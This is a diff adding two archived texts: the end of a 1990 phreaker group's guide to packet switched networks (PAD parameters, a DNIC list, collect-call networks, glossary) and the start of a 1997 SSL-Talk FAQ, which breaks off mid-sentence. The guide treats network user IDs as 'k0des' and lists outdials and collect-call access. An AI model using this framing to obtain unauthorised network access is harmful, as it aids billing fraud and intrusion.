(0) + 17 Break Code (0) 47 Input Unlock Timer (0) + 18 NVT Options (0) 48 Input Unlock Character (0) + 19 Initial Keyboard State (0) 49 Output Lock Option (2) + 20 Half/Full Duplex 50 Output Lock Timer (10) + + 21 Real Character Code 51 Output Lock Option (0) + 22 Printer Style 53* Break Options (0) + 23 Terminal Type 54 Terminal-PAD Flow Control (0) + 24 Permanent Terminal (0) 55 Terminal-PAD XON Character (17) + 25 Manual or Auto Connect (0) 56 Terminal-PAD XOFF Character (19) + 26 Rate 57 Connection Mode (2) + 27 Delete Character (127) 58 Escape to Command Mode (1) + 28 Cancel Character (24) 59* Flush Output on Break (0) + 29 Display Character (18) 60 Delayed Echo + 30+ Abort Output Character (0) 63 Eight-bit Transparency (1) + 64+ Early ACK (0) + 65 More-Data Bit Generation (3) + 66 Defer Processing of User (0) + 67 ESP Packetizing Option (0) + 68 Escape Sequence Timer (0) + 69 Escape Sequence Maximum Length (0) + 70 Escape Sequence Initiator (0) + 71 Parameter Reset on Disconnect (0) + + Note: - All Telenet Parameters must follow the National Option Marker + (Parameter 0, value '21' Hex) in PAD Messages. + - Parameters marked with "*" should not be used. + - Parameters marked with "+" should be used with caution. + + Appendix D: International DNIC/PSN List + ======================================= + Note: This is not a complete list! + + COUNTRY NETWORK DNIC + ------- ------- ---- + ALASKA ALASCOM 3135 + ANTIGUA ANTIGUA 3443 + ARGENTINA ARPAC 7220 + ARGENTINA ARPAC 7222 + AUSTRIA DATEX-P 2322 + AUSTRIA RA 2329 + AUSTRALIA AUSPAC 5052 + AUSTRALIA MIDAS 5053 + BAHAMAS BATELCO 3640 + BAHRAIN IDAS 4263 + BARBADOS IDAS 3423 + BELGIUM DCS 2062 + BELGIUM DCS-TELEX 2068 + BELGIUM DCS-PSTN 2069 + BERMUDA IPSD 3503 + BRAZIL INTERDATA 7240 + BRAZIL RENPAC 7241 + BRAZIL RENPAC 7249 + BRAZIL RENPAC 7248 + CAMEROON CAMPAC 6242 + CANADA DATAPAC 3020 + CANADA GLOBEDAT 3025 + CANADA CNCP 3028 + CANADA TYMNET CANADA 3106 + CAYMAN ISLANDS IDAS 3463 + CHILE ENTEL 7302 + CHILE ENTEL 3104 + CHINA PTELCOM 4600 + COLUMBIA DAPAQ 3107 + COSTA RICA RACSADATOS 7120 + COSTA RICA RACSAPAC 7122 + COSTA RICA RACSAPAC 7128 + COSTA RICA RACSAPAC 7129 + COTE D'IVOIRE SYTRANPAC 6122 + DENMARK DATAPAK 2382 + DEMMARK DATAPAK 2383 + DOMINICAN REPUBLIC UDTS 3700 + EGYPT ARENTO 6020 + FINLAND FINNPAK 2442 + FRANCE TRANSPAC 2080 + FRANCE N.T.I. 2081 + FRANCE TRANSPAC 9330 + FRANCE TRANSPAC 9331 + FRANCE TRANSPAC 9332 + FRANCE TRANSPAC 9333 + FRANCE TRANSPAC 9334 + FRANCE TRANSPAC 9335 + FRANCE TRANSPAC 9336 + FRANCE TRANSPAC 9337 + FRANCE TRANSPAC 9338 + FRANCE TRANSPAC 9339 + FRENCH ANTILLES DOMPAC 3400 + FRENCH GUYANA DOMPAC 7420 + GABON GABONPAC 6282 + GERMANY DATEX-P 2624 + GREECE HELPAK 2022 + GREENLAND DATAPAK 2901 + GUAM LSDS-RCA 5350 + GUATEMALA GUATEL 7040 + HONDURAS HONDUTEL 7080 + HONG KONG IDAS 4542 + HONG KONG DATAPAK 4545 + HUNGARY DATEXL 2160 + HUNGARY DATEXL 2161 + ICELAND ICEPAC 2740 + INDONESIA SKDP 5101 + IRELAND IPSS (EIRE) 2721 + IRELAND EIREPAC 2724 + ISRAEL ISRANET 4251 + ITALY DARDO 2222 + ITALY ITAPAC 2227 + IVORY COAST SYTRANPAC 6122 + JAMAICA JAMINTEL 3380 + JAPAN DDX-P 4401 + JAPAN VENUS-P 4408 + JAPAN NISNET 4406 + JAPAN NI+CI 4410 + KUWAIT 4263 + LEBANON SODETEL 4155 + LUXEMBOURG LUXPAC 2704 + LUXEMBOURG PSTN 2709 + MALAYSIA MAYPAC 5021 + MAURITIUS MAURIDATA 6170 + MEXICO TELEPAC 3340 + NETHERLANDS DATANET-1 2040 + NETHERLANDS DATANET-1 2041 + NETHERLANDS DABAS 2044 + NETHERLANDS DATANET 2049 + NETHERLANDS/ANTILLES UDTS ITT 3620 + NETHERLANDS/MARIANAS PCINET 5351 + NEW CALEDONIA TOMPAC NC 5460 + NEW ZEALAND PACNET 5301 + NORWAY DATAPAK 2422 + PANAMA INTELPAQ 7141 + PANAMA INTELPAQ 7142 + PHILIPPINES CAPWIRE 5151 + PHILIPPINES PHILCOM RCA 5152 + PHILIPPINES GMCR 5154 + PHILIPPINES ETPI-2 5156 + POLYNESIA TOMPAC 5470 + PORTUGAL TELEPAC 2680 + PORTUGAL SABD 2682 + PUERTO RICO UDTS- PDIA 3301 + PUERTO RICO UDTS- I 3300 + QATAR DOHPAC 4271 + REUNION ISLAND DOMPAC 6470 + SAN MARINO X-NET 2922 + SAUDI ARABIA BAHNET 4263 + SINGAPORE TELEPAC 5252 + SINGAPORE TELEPAC 5258 + SOUTH AFRICA SAPONET 6550 + SOUTH AFRICA SAPONET 6559 + SOUTH KOREA DACOM-NET 4501 + SOUTH KOREA DNS 4503 + SPAIN TIDA 2141 + SPAIN IBERPAK 2145 + SWEDEN TELEPAK 2405 + SWEDEN DATAPAK 2402 + SWITZERLAND TELEPAC 2284 + SWITZERLAND DATALINK 2289 + TAHITI TOMPAC 5470 + TAIWAN UDAS 4877 + TAIWAN PACNET 4872 + THAILAND IDAR 5200 + TORTOLA 3483 + TRINIDAD TEXTET 3740 + TRINIDAD DATANETT 3745 + TUNISIA RED25 6050 + TURKEY TURPAC 2862 + TURKS BWI 3763 + UNITED ARAB EMIRATES EMDAN 4241 + UNITED ARAB EMIRATES TELEX 4243 + UNITED ARAB EMIRATES TEDAS 4310 + UNITED KINGDOM IPSS 2341 + UNITED KINGDOM PSS 2342 + UNITED KINGDOM MPDS MERCURY 2350 + UNITED KINGDOM PSS MERCURY 2352 + U.S.S.R. IASNET 2502 + UNITED STATES OF AMERICA TELENET 3110 + UNITED STATES OF AMERICA TYMNET 3106 + U.S. VIRGIN ISLANDS UDTS-PDIA 3300 + URUGUAY 7482 + ZIMBABWE ZIMNET 6482 + + Appendix E: Overseas PSNs Which Accept Collect Calls + ==================================================== + COUNTRY NETWORK + ------- ------- + ALASKA ALASCOM + CANADA DATAPAC + CHILE ECOM + COSTA RICA RACSA + DOMINICAN REPUBLIC CODETEL + HAWAII TELENET + ISRAEL ISRANET + MEXICO TELEPAC-SCT + PANAMA INTEL + PHILIPPINES ETPI + PUERTO RICO PRTC + + + Appendix F: Network Protocol List + ================================= + Protocol Speed/bps Type + -------- --------- ------------ + V.21 300 Asynchronous + V.22 1200 Asynchronous + V.23 1200/75 Asynchronous + V.xx 2400 Asynchronous + X.25 300-48000 Synchronous + X.28 300-19200 Asynchronous + X.29 300-19200 Synchronous + X.3 300-19200 Synchronous + X.32 24000 Synchronous + X.75 300-19200 Synchronous + Telex 50 Asynchronous + + Appendix G: Glossary + ==================== + The following is a list of acronyms and terms which are often refered + to in this document and others dealing with this subject. + + ACP - Adapter/Concentrator of Packets. + Area Code - The first three digits following the DNIC of any given NUA. + For example, the NUA 311031200324 has an area code of 312. Domestically, + the area code of the NUA may or may not correspond to the same NPA of + the area code, but this is not always the case. + Close User Group - A type of high security NUI in use on several PSNs + throughout the world. CUG users can access optional parameters + and NUAs blocked out by security. + CUG - Close User Group. + Data Country Code - The first three digits in the four digits of any + given DNIC. + Data Network Identifier Code - The four digits which come before the + area code/address/port address of any given NUA. The DNIC shows + which PSN any given host is based upon. The DNIC can also be broken + down into two parts, the DCC and the NC. For more information, see + part VIII. + DCC - Data Country Code. + Destination Paid Call - A collect call to a NUA which accepts collect charges. + DNIC - Data Network Identifier Code. + DTE - Data Terminal Equipment. + DTE Address - The five digits following the area code of the host on any + given NUA. For example, the NUA 234112345678 has a DTE address of + 45678. + Gateway - A host on a given PSN which is connecte both the the originating + PSN and one or more different or same PSNs. Gateways also allow one user + on one PSN the ability to move to another PSN and operate on the second + as if the first was not interfering. + Host - Any system accessible by NUA on the PSN. + Hunt/Confirm Sequence - String of charachters sent to the SprintNet POTS + dialin/port which allows SprintNet to determine the speed and data type + to translate to on its PAD. + ITI Parameters - Online PAD parameters (X.3 or ITI) which allow the user + to modify existing physical measurements of packet length and otherwise. + LAN - Local Area Network. + Local Area Network - A data network which operates within the confines + of an office building or other physical structure where several + computers are linked together into a network in order to share data, + hardware, resources, etc. These may or may not own a host address on + any data network, and if so, may be accessed via NUA; otherwise + direct dialin is the only alternative. + NC - Network Code. + NCP - Nodes of Communication of Packets. + Network Code - The fourth digit of any given PSN's DNIC. + Network Protcol - The hardware protocol which allows the host systems to + communicate efficiently with the PSN it is connected to. Generally, + synchronous protcols (X.??) are used within the network and + asynchronous protcols (V.??) are used to access the network, but + asynchronous protcools within the network and/or synchronous dialin + points are not unheard of. The standard protocol for packet transfer + today is the X.25 synchronous data protcol. For detailed information, + please see part V and appendix F. + Network User Address - The address of any given host system on any + PSN. This address is thought of as a "phone number" which is dialed + to access the desired host. For detailed information on the X.121 + format for the NUA, see part VIII. + Network User Identifier - The ID and password which allow the user + which has logged onto the PSN's PAD to originate calls to host systems + which do not accept collect calls. it is often thought of as a "k0de" + or a calling card which will be billed for at the end of every month. + NUA - Network User Address. + NUI - Network User Identifier. + Outdial - Any system which allows local, national, or international + dialing from the host system. PC-Pursuit can be defined as a local + outdial system. Most outdials operate using the Hayes AT command set + and others may be menu oriented. + Packet Assembler/Disassembler - The device/host which translates the + actual input/output between the host and the user. The PAD often + translates between baud rates, parities, data bits, stop bits, + hardware protocols, and other hardware dependant data which reduces + the hassle of continual modification of terminal and hardware + parameters local to the originating terminal. + Packet Switched Network - A network based upon the principle of packet + switching, which is the input/output of packets to and from the PAD + which translates input and output between the user and the host. + For detailed information, please see part IV. + Packet Switched System - Another name for the PSN. + Packet SwitchStream - The PSN used by British Telecom. + PAD Delay - The extra time that is used to translate incomming and + outgoing packets of data which is composed of a continous stream of + clear-to-send and ready-to-send signals. PAD delay can vary depending + on the type of network protocol and network/port speed is being + used. + PAD - Packet Assembler/Disassembler (technical), Public Access Device + (customer service description). + PDN - Public Data Network or Private Data Network. + Port Address - The two optional digits at the end of any given NUA which + allow the PAD/PSN to access a given port. For example, 031102129922255 + would reach the nua 311021299222.55, .55 being the port address. + Private Data Network - Any network (LAN/WAN/PSN) which is owned and + operated by a private company. Private networks are usually smaller + than public networks and may host a myriad of features such as + gateways to other public/private networks, servers, or outdials. + PSN - Packet Switched Network. + PSS - Packet SwitchStream or Packet Switched System. + Public Data Network - Another name for the PSN. + Server - A type of network which is connected to a host system which can + be reached either via NUA or direct dial which provides the "brain" + for a LAN or WAN. + SprintNet - The new name for Telenet. A PSN which is based in the United + States and allows destination paid calls to originate from an un- + identified customer. The DNIC for SprintNet is 3110. + Telenet - The old name for SprintNet. This name change occured in 1990. + V.?? - Asynchronous network protocol. + WAN - Wide Area Network. + Wide Area Network - A data network which operates on a continuous link + basis as opposed to the packet switched basis. These do not operate + on the X.25 protocol and may only be accessed via direct-dial or + a host on a PSN which is linked with the WAN. + X.?? - Generally symbolizes some type of synchronous network protocol. + X.121 - International Host Address Format for PSNs. See Part VIII for + detailed information. + X.25 - By far the most widely used and standardized network/data protcol + used within the PSN system to connect hosts to the PSN. + Zero Handler - The preceding zero before any given international NUA + when "dialed" from within SprintNet. For example, the NUA 262412345678 + would be typed as "0262412345678" from the SprintNet PAD. Most PAD + systems around the world do not require this handler. + + + Part XIV: Conclusion And Closing Comments + ----------------------------------------- + Well, enough typing at last. I hope you enjoyed the file, since it + appears to cover most areas of the PSN domain sans private networks + to a full extent. Hopefully, this file has opened or helped you understand + the packet switched networks in today's telecommunication world and + will aid you in your quest for knowledge etc etc.... + + Doctor Dissector - PHA + + % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % + X**=======================================================================**X + %!! (c)Copyright 1990, By Doctor Dissector & Phreakers/Hackers/Anarchists !!% + X**=======================================================================**X + % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % X % + + +-- + +-- +=-GRAHAM-JOHN BULLERS=-=AB756@FREENET.TORONTO.ON.CA=-=ALT.2600.MODERATED-= +Lord grant me the serenity to accept the things I cannot change.The courage +to change the things I can.And the wisdom to hide the bodies of the people +=-=-=-=-=-=-=-=-=I had to kill because they pissed me off=-=-=-=-=-=-=-=-=-= + diff --git a/textfiles.com/internet/sslfaq.103 b/textfiles.com/internet/sslfaq.103 new file mode 100644 index 00000000..7e13362f --- /dev/null +++ b/textfiles.com/internet/sslfaq.103 @@ -0,0 +1,1571 @@ + + SSL-Talk FAQ + Secure Sockets Layer Discussion List FAQ v1.0.3 + + Wed Dec 12 12:00:00 PST 1997 + + FAQ Maintained by: + Christopher Allen + Consensus Development Corporation + + + The latest edition of this FAQ can always be found at: + + + + + (c) 1996, 1997 Consensus Development Corporation - All Rights Reserved + + All information contained in this work is provided "as is." All + warranties, expressed, implied or statutory, concerning the accuracy + of the information of the suitability for any particular use are + hereby specifically disclaimed. While every effort has been taken to + ensure the accuracy of the information contained in this work, + the authors assume(s) no responsibility for errors or omissions, or + for damages resulting from the use of the information contained + herein. + + This work may be copied in any printed or electronic form for + non-commercial, personal, or educational purposes if the work is not + modified in any way, that the copyright notice, the notices of any + other author included in this work, and this copyright agreement + appear on all copies. + + Consensus Development Corporation also grants permission to + distribute this work in electronic form over computer networks for + other purposes, provided that, in addition to the terms and + restrictions set forth above, Consensus Development Corporation + and/or other cited authors are notified and that no fees are charged + for access to the information in excess of normal online charges + that are required for such distribution. + + This work may also be mentioned, cited, referred to or described + (but not copied or distributed, except as authorized above) in + printed publications, on-line services, other electronic + communications media, and otherwise, provided that Consensus + Development Corporation and any other cited author receives + appropriate attribution. + + Comments about, suggestions about or corrections to this document + are welcomed. If you would like to ask us to change this document + in some way, the method we appreciate most is for you to actually + make the desired modifications to a copy of the posting, and then to + send us the modified document, or a context diff between the posted + version and your modified version (if you do the latter, make sure + to include in your mail the "Version:" line from the posted + version). Submitting changes in this way makes dealing with them + easier for us and helps to avoid misunderstandings about what you + are suggesting. + + Many people have in the past provided feedback and corrections; we + thank them for their input. + + In particular, many thanks to: + + Tim Dierks + Charles Neerdaels + Eric Greenberg + Bruce Schneier + Tom Weinstein + Jonathan Zamick + + Remaining ambiguities, errors, and difficult-to-read passages are + not their fault. :) + + +------------------------------ + +CONTENTS + + 1) THE SSL-TALK LIST + 2) GENERAL SSL QUESTIONS + 3) USING PROXIES, GATEWAYS AND FIREWALLS WITH SSL + 4) SSL PROTOCOL QUESTIONS + 5) CERTIFICATE RELATED QUESTIONS + 6) SSL IMPLEMENTATION QUESTIONS + 6.1) NETSCAPE QUESTIONS + 6.2) MICROSOFT QUESTIONS + 7) SSL TOOLKIT QUESTIONS + 7.1) SSLREF QUESTIONS + 7.2) SSL PLUS QUESTIONS + 7.3) SSLEAY QUESTIONS + + +------------------------------ + +1) THE SSL-TALK LIST + +This section contains information about the SSL-Talk list. + + +1.1) What is the SSL-Talk List? + + The SSL-Talk List is an email list intended for discussion of the + technical issues of implementing the SSL protocol. + + Past discussions have included issues of software development, + cryptanalysis of the protocol and of its various implementations, + testing, interoperability, the applicability of SSL to additional + TCP-based applications, infrastructure growth questions, etc. + + The discussion list has also become a de facto support pipeline + about configuring various servers. We'd like to try to keep this + topic to a minimum, because it takes too much bandwidth. + + +1.2) What is SSL? + + SSL is the Secure Sockets Layer protocol. Version 2.0 originated by + Netscape Development Corporation, and version 3.0 was designed with + public review and input from industry, and is defined at + + + +1.3) How do I subscribe to SSL-Talk? + + Send mail to the email address + with the *subject* being the single word SUBSCRIBE. You need not + put any text in the body of your message. + + Please do not send requests to the SSL-Talk list. + + +1.4) Once I am subscribed, how to I send mail to SSL-Talk? + + Any mail addressed to will be sent to *all* + members of the SSL-Talk mailing list. + + +1.5) How do I unsubscribe from SSL-Talk? + + To remove your name from the ssl-talk list send mail to the address + with the *subject* being the single + word UNSUBSCRIBE. You need not put any text in the body of your + message. + + Please do not send requests to the SSL-Talk list. + + +1.6) I've tried unsubscribing several times from SSL-Talk but it doesn't +seem to work -- what can I do? + + The most common problem is that you are attempting to unsubscribe + using an email address different than that with which you subscribed + Check with your mail administrator and make sure that you don't have + an alias or ".forward" file sending mail to you from another + address. + + Another common problem is that the subdomain of your mailer has + changed, for example, "mail.consensus.com" has been renamed + "server.consensus.com". + + In either case, sending mail with the "From:" line matching the + account you subscribed with should unsubscribe you from the list. + + If this still doesn't work, send mail to + describing your problems unsubscribing, what email addresses you + think you may have subscribed with, and if you think you may have a + different mail address subscribed. + + Please don't send mail to the general SSL-Talk list to unsubscribe; + it will only frustrate you and the rest of the recipients. + + +1.7) Where is SSL-Talk archived? + + There is a hypertext archive of the list at + + + In some cases we have found that this archive occasionally is + missing some messages -- if you know of any alternative archive + sites, please let us know. + + We are not aware of any text archives of the list. + + +1.8) May I post commercial announcements regarding SSL products? + + It is the policy of the list to not allow advertising. However, + product availability announcements are acceptable, provided + + * The product is *directly* related to SSL; + + * The announcement does not wander too far from the + topic of SSL; + + * The announcement is limited to an abstract of no more + than one paragraph and a URL to the full announcement + text, such as price, terms, features, or a press + release; + + * The announcement is released not more than once per quarter + per company. + + Subscribers or companies grossly violating these guidelines may be + removed from the list by the list administrator. + + +------------------------------ + +2) GENERAL SSL QUESTIONS + +This section contains general information on SSL and the SSL +protocol. + + +2.1) What is the current version of the SSL protocol? + + The current version is 3.0, as documented at + + + Errata to the SSL 3.0 Specification is periodically posted on + the SSL discussion list, and is available at + + + Netscape has submitted SSL 3.0 to the IETF-TLS Working Group + as an Internet Draft (see the section 4.5 of this FAQ for more + info on TLS): + + + The previous version of SSL, version 2.0 is documented at + + + +2.2) Where can I get a "management overview" of SSL and web security? + + There is a brief overview and FAQ on Netscape security called + "On Internet Security", available at + + + There is a brief introduction on how Netscape uses public key + cryptography in the SSL protocol called "Using Public Key + Cryptography" at + + + An overview on certificates and VeriSign's Digital IDs is at + . + + +2.3) Where can I get a more in-depth look at SSL and web security? + + The online version of the technical specifications for the SSL 3.0 + protocol is at + + + A PostScript version is also available at + + + A FAQ for SSLeay, a freeware implementation of the SSL 2.0 protocol + is available at + + + A rather broad list of public key related documents, with a focus on + certificates and standards can be found at + + + +2.4) What software supports SSL 2.0 and SSL 3.0? + + WebCompare offers a list of security features supported by over 100 + different servers and clients at + + + Currently it is not very accurate. If you know of changes please + contact David Strom . + + +2.5) I'm confused by all the different laws that different countries +have on export and import of cryptographic applications. Is there +one place I can go to find out? + + There is an impressive "International Law Crypto Survey" of + cryptographic laws and regulations throughout the world at + + + RSA Data Security, Inc. offers an Acrobat version of their + "Frequently Asked Questions: Export" at + + + Other information on US export issues can be found on + the Electronic Frontier Foundation's web site at + + + Canadian export issues are converted at + + + +------------------------------ + +3) USING PROXIES, GATEWAYS AND FIREWALLS WITH SSL + +This section contains information on how the SSL protocol interacts +with proxy servers, security gateways, and firewalls. + + +3.1) What exactly is the meaning of "proxy" mentioned in the +Netscape Navigator "Network Preferences" menus? + + A proxy server is a computer program that resides on your firewall + and acts as a conduit between your computer and the broader + Internet. In addition to acting as network guardian and logging + traffic, a proxy server can also provide an enterprise cache for + files as well as replication and site-filtering services. + + Any application which needs to communicate through a proxy has to + negotiate with the proxy first before continuing through the + firewall. Netscape Navigator works with many different types of + proxies (such as the CERN proxy server and their own Netscape Proxy + Server) and gateways that use the SOCKS protocol. + + One problem with SSL-based traffic is that it does not work with + caching and replication with proxy servers. For a proxy server to + support SSL it must either support SOCKS, or use a special SSL + Tunneling protocol. The Netscape Proxy Server supports both + SOCKS and the SSL Tunneling protocol. + + +3.2) How does SSL work through (application level) firewalls, +gateways and proxy servers? + + SSL was designed to provide security between client and server and + to avoid any kind of 3-way man-in-the-middle attack. Thus SSL cannot + be proxied through traditional application level firewalls (such as + the CERN proxy server), because SSL considers a proxy server to be + a middleman. + + The simplest alternative to this problem is to use a packet + filtering firewall. You set it up to open a reserved and trusted + port for the SSL+HTTP or SSL+NNTP services (443 or 563 respectively) + allowing all traffic on those ports to be passed through + unrestricted. The risk with this solution is that an internal + attacker could attempt to use these trusted ports without using SSL + and there is no way for the firewall to know. + + SSL also can work with gateways that support the SOCKS protocol, a + protocol independent proxy mechanism. SOCKS is a generic byte + forwarding gateway between client and server, and generally works + at the socket level. If all you want is TCP/UDP restrictions based on + client IP or server IP, SOCKS works fine. + + However, most non-SSL HTTP proxies work at the protocol level and + have the ability to understand header information related to the + protocol. This goes beyond SOCKS to allow the firewall administrator + to use the header information for filtering and/or monitoring the + traffic. Also, SOCKS does not offer the firewall administrator + enough information about the request to let it decide whether to + allow it, and to log the request. + + A more secure approach is to use a firewall that supports the SSL + Tunnelling CONNECT extension method as described in the Internet + draft + + + In SSL Tunneling, the client initiates an SSL connection via normal + HTTP, then handshakes and creates a secure connection to the server + via a byte-forwarding tunnel. The proxy has access to the + client-proxy request headers, but the session is encrypted. Once + the handshake occurs, the proxy acts just like a SOCKS gateway. This + allows the firewall to monitor the requests, but not the traffic. + + The biggest difference between the two methods is that when using + SOCKS, DNS resolution is the responsibility of the client, whereas + when requests are forwarded through a proxy, DNS resolution is the + responsibility of the proxy. + + The are three additional things that the SSL Tunnelling mechanism + does with the proxy server that do not happen when using SOCKS: + + * The client sends a "user agent" message (for example, + "Mozilla/3.0/Macintosh"). + + * The proxy can send to the client an authorization request + allowing the administrator to use passwords to control external + Internet access. + + * The standard is more easily extensible. For example, the client + could, in theory, send the URL being requested (or anything + else) to the firewall. However, there is no standard to support + this behavior and as far as we know there are no products which + do it. + + The Netscape Proxy Server supports the SSL Tunnelling CONNECT + extension method for tunnelling SSL, and the use of the proxy is + described in + + + Another solution, also available using the Netscape Proxy Server, is + that the proxy server can spoof SSL on behalf of the internal + client. The proxy will initiate SSL between itself and other servers + on the Internet, but be unsecure inside the firewall between the + proxy server and the client. + + This compromise means that client authentication is not possible; + only server authentication of the remote sites is available. + However, you gain the ability for client authentication between the + client to the proxy. The administrator must decide which is more + important, until such time as a better solution arises. The + description of this feature of the Netscape Proxy Server is at + + + Reverse proxies are a solution for serving secure content inside + a firewall to outside clients. For the Netscape Proxy Server + this is described at + + + It is possible for a proxy server to hold both client and server + keys for its internal clients. This allows SSL sessions to be + carried out twice: once between the client and proxy server, and + again between the proxy server and the secure server. Thus, the + proxy server can to listen in on the conversation without having the + private keys of external servers. Clearly this isn't reasonable for + the general internet, but it is a viable solution for corporate + requirements inside a firewall. + + The current 2.1 beta of the Netscape Proxy Server supports this + feature. It can be used as described above, or simply to create a + secure tunnel between sites across an insecure network. This is + really multiple sessions of SSL, not an end-to-end secure + connection. + + This means that 2.1 beta has full SSL support as opposed to just SSL + tunneling. It can therefore do client authentication and serve + documents like a secure server, or request documents like an + SSL-enabled client. SSL doesn't allow recursive encryption, so by + using it this way you lose the transparency of the proxy and get + multiple segments of secure connections, rather than a single + end-to-end connection. + + +3.3) Since SSL is supposed to withstand replay attacks, does this +preclude proxy servers from caching the data? + + A proxy server must just pass SSL directly through without caching. + + +3.4) What ports does SSL use? + + Theoretically SSL can transparently secure any TCP based protocol + running on any port if both sides know the other side is using SSL. + However, in practice, separate port numbers have been reserved for + each protocol commonly secured by SSL -- this allows packet + filtering firewalls to allow such secure traffic through. + + As of September 1996, SSL has the following port numbers reserved + with the Internet Assigned Numbers Authority (IANA), a part of the + Internet Engineering Task Force (IETF): + + Keyword Decimal Description + ------- ------- ----------- + https 443/tcp https + ssmtp 465/tcp ssmtp + snews 563/tcp snews + ssl-ldap 636/tcp ssl-ldap + spop3 995/tcp SSL based POP3 + + +3.5) Do you have any information on sftp? + + The name sftp conflicts with a protocol called simple file transfer + protocol. As far as we can tell, no one has yet applied for a port + for 'ftps', nor does it appear in the SSL 3.0 specification. + However, some companies have begun to use port 990 for ftps + informally until it is officially registered. + + +------------------------------ + +4) SSL PROTOCOL QUESTIONS + +This section contains more detailed information on the SSL protocol. + + +4.1) Does SSL protect users from replay attack by eavesdroppers or +message interceptors? + + Yes. Both the client and the server provide part of the random data + used to generate the keys for each connection. (The client and + server random portions from the connection that initiates a session + are also used to generate the master secret associated with that + session.) Additionally, each record is protected with a MAC that + contains a sequence number for the message. + + +4.2) The record protocol sits underneath the other protocols, right? +It appears that information can be sent only in blocks. Does +there have to be a one-to-one mapping between write() calls on the +client/server and SSL records? Is there some other blocking +taking place when user data is being sent? + + The record layer takes a data stream from the higher layers and + fragments it into records. If the write is longer than 2^14 bytes + (with headers), the record layer will generate multiple records. + Multiple writes can be condensed into a single record. + + +4.3) It appears that there is no way in the SSL protocol to +resynchronize blocks if they get out of synch. Is that true? + + Yes, SSL relies on an underlying reliable protocol to assure that + bytes are not lost or inserted. There was some discussion of + reengineering the future TLS protocol to work over datagram + protocols such as UDP, however, most people at a recent TLS meeting + felt that this was inappropriate layering. + + +4.4) Why does SSL3 have Diffie-Hellman encryption at all? What good is +it? Exchanging random numbers that are encrypted with the server's (or +client's) public key would seem to be an adequate way of getting the +secret bits across. Why have DH as well? + + Anonymous DH key exchange doesn't require the use of certificates. + Ephemeral DH allows you to use signing-only certificates, and it + protects the session from future compromise of the server's private + key. Another advantage of DH is that the patent expires next year. + + +4.5) What is TLS? What happened at these meetings? Has anything come +out of them yet? + + TLS is the Transport Layer Security Working Group of the IETF + (Internet Engineering Task Force). It is the working group + responsible for moving transport layer protocols such as SSL + through the standards tracks. + + IETF working groups do most of their activities through mailing + lists and thrice-annual IETF meetings. The first official IETF-TLS + Working Group meeting was June 1996 in Montreal. (Before then it was + an unofficial BOF "birds of a feather" group.) + + The home page for the IETF-TLS Working Group is at + + + The discussion list for IETF-TLS is at IETF-TLS@CONSENSUS.COM. You + subscribe and unsubscribe by sending to IETF-TLS@CONSENSUS.COM with + subscribe or unsubscribe in the SUBJECT of the message. Archives of + the list are at + + + The minutes for the last IETF-TLS Working Group meeting in + San Jose in December of '96 are at + + + The minutes for the IETF-TLS Working Group meeting in Montreal in + June of '96 are in two messages at: + + + + There was a day-long pre-Montreal meeting in Palo Alto of May in '96 + the minutes of which give a fairly complete list of old technical + issues and possible solutions. The minutes of this meeting are at + + + A number of internet-draft documents have been submitted to the + IETF-TLS Working Group. + + The TLS Protocol 1.0 + (Current Version 01 with Change Bars from 00): + + (157637 bytes, expires August '97) + + The TLS Protocol 1.0 (Old Version 00): + + (147284 bytes, expires May '97) + + Modifications to the SSL protocol for TLS: + + (9271 bytes, expires May '97) + + Secure FTP over SSL: + + (14238 bytes, expires June '97) + + Addition of Kerberos Cipher Suites to Transport Layer + Security (TLS): + + (9664 bytes, expires May '97) + + Addition of Shared Key Authentication to Transport Layer + Security (TLS): + + (16885 bytes, expires May '97) + + The SSL Protocol Version 3.0: + + (147476 bytes, expires May '97) + + The following internet drafts are expired, but are of historical + interest: + + Tunneling SSL Through a WWW Proxy (originally + ) + + (9242 bytes, expired December '95) + + SSH Transport Layer Protocol (originally + ) + + (44411 bytes, expired December '96) + + Another useful document is the "Request to the IANA to Regularize + TLS/SSL Port Numbers" + + (Thu, 13 Feb 1997 01:06:00 -0800): + + +4.6) When did MD5 get "disavowed"? + + It hasn't been truly "disavowed", but weaknesses have been + discovered such that some people believe that an alternative should + be found. These weaknesses were found by Dr. Hans Dobbetin + of the German Information Security Agency + in a paper called "Cryptanalysis of MD5 Compress" dated May 2, 1996. + A postscript version of the paper is at + . + + SSL uses MD5 in combination with SHA for all negotiation. It also + uses MD5 alone in most negotiated cipher suites. However, in these + cases it is used with the HMAC construction, which strengthens it + such that there are no known problems with this construction. + + It has been proposed with TLS to start phasing out all use of MD5. + + +4.7) Can anyone explain to me the purpose of pad1 and pad2, and why +the numbers 0x36 and 0x5c were chosen? + + The purpose of the construction of a "keyed-MAC" in the form of + HASH(K,pad2,HASH(K,pad1,text)) was proposed by the cryptographer + Hugo Krawczyk of IBM as much more secure alternative to traditional + MACs. In a paper last year he demonstrated a proof that even if the + hash function was relatively weak (as MD5 has since proven itself to + be) the addition of the secret key in the function makes it + significantly more secure. The particular method proposed by + Krawczyk is now known as an HMAC. + + The particular construction that Netscape uses for SSL is based on + the original internet-draft of last November, and since that time it + has been revised such that it XOR the pads rather than appending + them -- a nice consequence of which is that pads are of the same + size whether you use MD5 or SHA and it also allows for long keys and + has some security advantages. Our understanding is that this version + of HMAC has now been approved and will soon be assigned an RFC. The + current draft is at + + + In the proposals we've seen for the IETF-TLS Working Group the + scheme SSL 3.0 uses will be replaced by the official RFC HMAC + technique. + + The particular pad bytes used are the ones defined in Krawczyk's + original HMAC paper. We believe that they are relatively arbitrary. + The salient property is that half the bits differ: the hamming + distance between 0x36 and 0x5c is 4 out of a possible 8. We don't + know if the fact that each of the pads also has a hamming weight of + 4 is significant or not. + + +4.8) Are you aware of any SSL toolkits supporting client authentication? + + SSLeay is able to do SSL 2.0 client authentication, however, we + don't know of any browsers that support SSL 2.0 client + authentication. + + SSLRef 3.0 and SSL Plus are two toolkits that now support SSL 3.0 + client authentication. + + +4.9) What SSL implementations should I test against? + + There is no formal conformance testing, but Netscape does currently + offer an interoperability test server that has been used to test + conformance with many other implementations of SSL 3.0. This server + is located at + + + VeriSign also has an "Authentic Site" program listing various sites + that use SSL authentication. Also included is a test page that + requires that you present a valid VeriSign client certificate. + More information on the Authentic Site program is at + + + Some other sites that client authentication can be tested against + are + + + +4.10) What is the difference between SSL 2.0 and 3.0? + + Security improvements: + + 1. SSL 2.0 is vulnerable to a "man-in-the-middle" attack. By + editing the list of ciphersuite preferences in the hello messages, + an active attacker can invisibly 